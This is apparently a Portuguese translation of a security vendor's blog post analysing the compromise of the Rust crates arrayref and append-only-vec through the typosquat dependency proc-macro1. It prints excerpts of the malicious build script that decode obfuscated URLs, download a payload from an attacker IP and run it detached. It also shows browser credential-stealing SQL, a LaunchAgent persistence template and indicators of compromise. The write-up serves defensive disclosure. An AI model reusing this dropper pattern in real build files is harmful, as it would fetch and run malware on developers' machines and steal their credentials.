Aikido

Duas crates populares do Rust, a `arrayref` e a `append-only-vec`, foram comprometidas num ataque à cadeia de abastecimento

Escrito por
Ilyas Makari

A 20 de agosto, detetámos duas crates populares do Rust criadas pelo mesmo mantenedor, vector de adição exclusiva (4 milhões de downloads) e referência a uma matriz (244 milhões de downloads) foram comprometidos. O atacante adicionou uma dependência maliciosa a um pacote chamado proc-macro1, que descarrega um código malicioso remoto durante a compilação e o executa no computador do programador. Como a dependência é executada na fase de compilação, basta compilar um projeto que inclua qualquer uma dessas crates para desencadear a infeção, sem necessidade de invocar qualquer uma das funcionalidades efetivas da crate. Isto é consideravelmente mais grave do que o anterior: Compromisso relativo à caixa de carga que abordámos em junho. Desta vez, o alcance do ataque é muito maior, tornando-o o maior caso de comprometimento de caixas no Rust que já observámos em termos de número de downloads.

O que aconteceu

A primeira vez que apanhámos proc-macro1 no nosso pipeline, como um novo pacote que faz algo suspeito: descarrega um ficheiro remoto e executa-o. O nome é um «typosquat» de proc-macro2, um dos crates mais utilizados no ecossistema do Rust, e o pacote copia a descrição, o nome do autor e a documentação do crate original para se fazer passar pelo projeto genuíno. Dado o baixo número de downloads,, inicialmente não demos muita importância ao assunto. No entanto, ainda nessa mesma hora, deparámo-nos com dois pacotes populares do mantenedor de vector de adição exclusiva e referência a uma matriz passar a depender, de repente, de proc-macro1. Foi isso que transformou um caso comum de «typosquatting» num verdadeiro incidente na cadeia de abastecimento.

À primeira vista, os dois crates comprometidos parecem estar em ordem. O código-fonte da biblioteca de ambos é o código original do upstream, e nenhum dos crates faz referência a proc-macro1 em qualquer ponto do código-fonte. A alteração consiste, na totalidade, numa única linha inserida em cada manifesto:

[dependências]
proc-macro1 = "1.0.107"

A lógica maliciosa reside inteiramente no build.rs ficheiro de proc-macro1, que o Cargo compila e executa automaticamente durante uma compilação. O script de compilação oculta o seu destino de rede sob a forma de fragmentos base64 para contornar os verificadores de cadeias de caracteres:

// O SRC descodifica para https://23[.]254[.]165[.]112:9089/
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];

// O END descodifica-se como 23[.]254[.]165[.]112:443
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];

Na fase de compilação, seleciona uma carga útil específica para o sistema operativo e a arquitetura da CPU da vítima (Linux x86_64, Windows x86_64, macOS x86_64, macOS aarch64) e, em seguida, descarrega-a através de HTTPS com um pedido GET simples. No Unix e no macOS, grava os bytes descarregados no disco, marca o ficheiro como executável e executa-o em modo separado, com a saída suprimida:

fn run_unix_payload(bytes: Vec<u8>) {
    let path = PathBuf::from("/tmp/rust-setup");
    std::fs::write(&path, &bytes).expect("failed to write payload");
    // chmod +x /tmp/rust-setup
    Command::new("chmod").args(["+x", path.to_str().unwrap()]).status().unwrap();
    // execute detached, handing it the second address (23[.]254[.]165[.]112:443)
    Command::new(&path)
        .arg(end_url())
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .spawn()
        .expect("failed to spawn payload");
}

No Windows, o código cria um script do PowerShell e executa-o de forma oculta através de um lançador wscript e .vbs, uma técnica que, conforme indicado no próprio comentário do código, foi escolhida para « escape » o objeto de tarefa do Cargo, de modo a que o processo iniciado continue a ser executado após a conclusão da compilação.

Detetámos também um pacote malicioso semelhante chamado proc-macro-en, publicado sob o nome do autor daveroundy. Esse nome de autor imita droundy, o responsável legítimo pela manutenção de vector de adição exclusiva e referência a uma matriz, o que sugere que o atacante estava a criar pacotes semelhantes adicionais e a fazer-se passar pelo mesmo responsável pela manutenção para lhes conferir credibilidade.

O payload

Conseguimos duas das quatro compilações para plataforma, a ELF para Linux x86_64 (rust-crate_0.1.0) e o Mach-O do macOS para a arquitetura aarch64 (rust-crate_0.4.0). A amostra do Windows PowerShell que recebemos era um ficheiro de zero bytes, pelo que não continha qualquer conteúdo para analisar. Ambos os binários nativos são executáveis em Rust e pertencem à mesma família de malware, compilados para alvos diferentes.

O seu servidor de comando e controlo não está codificado de forma fixa no ficheiro binário. Em vez disso, o ficheiro binário lê-o a partir do argumento da linha de comandos com que foi executado, que corresponde exatamente ao segundo endereço (23[.]254[.]165[.]112:443) que o build.rs O dropper passa quando gera a carga útil. Assim, o IP é um indicador deste ataque, e o mesmo ficheiro binário poderá ser reutilizado no futuro com um C2 diferente.

Confirmámos isto na versão para macOS através da desmontagem do código. O programa de roubo de dados lê os argumentos do seu próprio processo através de _NSGetArgc e _NSGetArgv, reúne-os numa lista e, posteriormente, insere um valor de host num caminho de construção de URL: https://{host}/49890878.

Rouba-informações

A carga útil contém um programa de roubo de informações que visa as credenciais armazenadas pelos navegadores baseados no Chromium. A versão para macOS faz referência às localizações dos perfis do Google Chrome, do Brave e do Microsoft Edge e inclui código SQL incorporado que lê as credenciais guardadas diretamente da base de dados de inícios de sessão do navegador:

SELECT DISTINCT origin_url DE logins ONDE origin_url É NÃO NULL ...
SELECT DISTINCT valor_do_nome_de_utilizador DE logins ONDE valor_do_nome_de_utilizador É NÃO NULL ...

Faz também referência ao armazenamento das extensões do navegador (Definições de extensão locais), que é onde muitas carteiras de criptomoedas baseadas em navegador guardam os seus dados, pelo que o âmbito da recolha abrange tanto os dados de início de sessão guardados como o conteúdo das carteiras.

Persistência

No macOS, a compilação inclui um modelo de lista de propriedades do LaunchAgent e o Biblioteca/LaunchAgents componente do caminho, juntamente com um RunAtLoad chave. O modelo é preenchido em tempo de execução e está configurado para executar um comando de shell através de /bin/zsh -c.

Recuperámos o modelo incorporado. O Etiqueta e a cadeia de comando são espaços reservados que são preenchidos quando o agente é gravado no disco:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>x</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/zsh</string>
        <string>-c</string>
        <string>D</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

A presença deste modelo e do Biblioteca/LaunchAgents O caminho constitui uma forte indicação de que a carga útil está configurada para instalar um LaunchAgent ao nível do utilizador, com o objetivo de garantir a persistência.

Comando e controlo

Temos fortes indícios de que a carga útil também contém um executador de comandos remotos leve. Após ser iniciado, este efetua um registo junto do servidor, enviando um conjunto estruturado de campos que identificam a máquina infetada, incluindo um ID, o URL principal e detalhes básicos do anfitrião, tais como os_type, os_ver, os_arch, versão_da_plataforma, aplicação, e e-mail. O servidor pode então responder com tarefas, e a carga útil encaminha-as para um distribuidor interno. O distribuidor suporta um pequeno conjunto fixo de comandos. Os nomes que recuperámos são minicfg, startup, runscript, Concha, e ShellX. O runscript, Concha, e ShellX são os comandos de execução. Também descobrimos uma primitiva de espera temporizada, o que indica que a carga útil provavelmente consulta o servidor C2 a intervalos regulares para verificar se há novos comandos, em vez de o contactar apenas uma vez.

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Indicadores de comprometimento

Pacotes afetados

  • proc-macro-en 1.0.10 (dependência maliciosa)
  • proc-macro1 1.0.107 (dependência maliciosa)
  • vector de adição exclusiva 0.1.9, comprometida (4 484 606 transferências)
  • referência a uma matriz 0.3.10, comprometida (244 989 384 transferências)

Indicadores de rede

  • 23[.]254[.]165[.]112:9089 - Servidor de entrega de carga útil
  • 23[.]254[.]165[.]112:443 - O servidor C2 passado como argumento à carga útil executada

Indicadores de ficheiros

Os ficheiros binários da carga útil proc-macro1 downloads, caíram para /tmp/rust-setup no Linux e no macOS:

  • rust-crate_0.1.0 (Linux x86_64 ELF)
    • SHA-256: 408ef22050ffc5a67e005802809026b29f297a8019f8fda91a2afa8e877ba434
  • rust-crate_0.4.0 (macOS aarch64 Mach-O)
    • SHA-256: 74d3447e7cf99c99ea01a16332ec27432dfb0f491e10e67cd118065a60483306
Compartilhar:

https://www.aikido.dev/blog/two-popular-rust-crates-arrayref-and-append-only-vec-compromised-in-supply-chain-attack

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.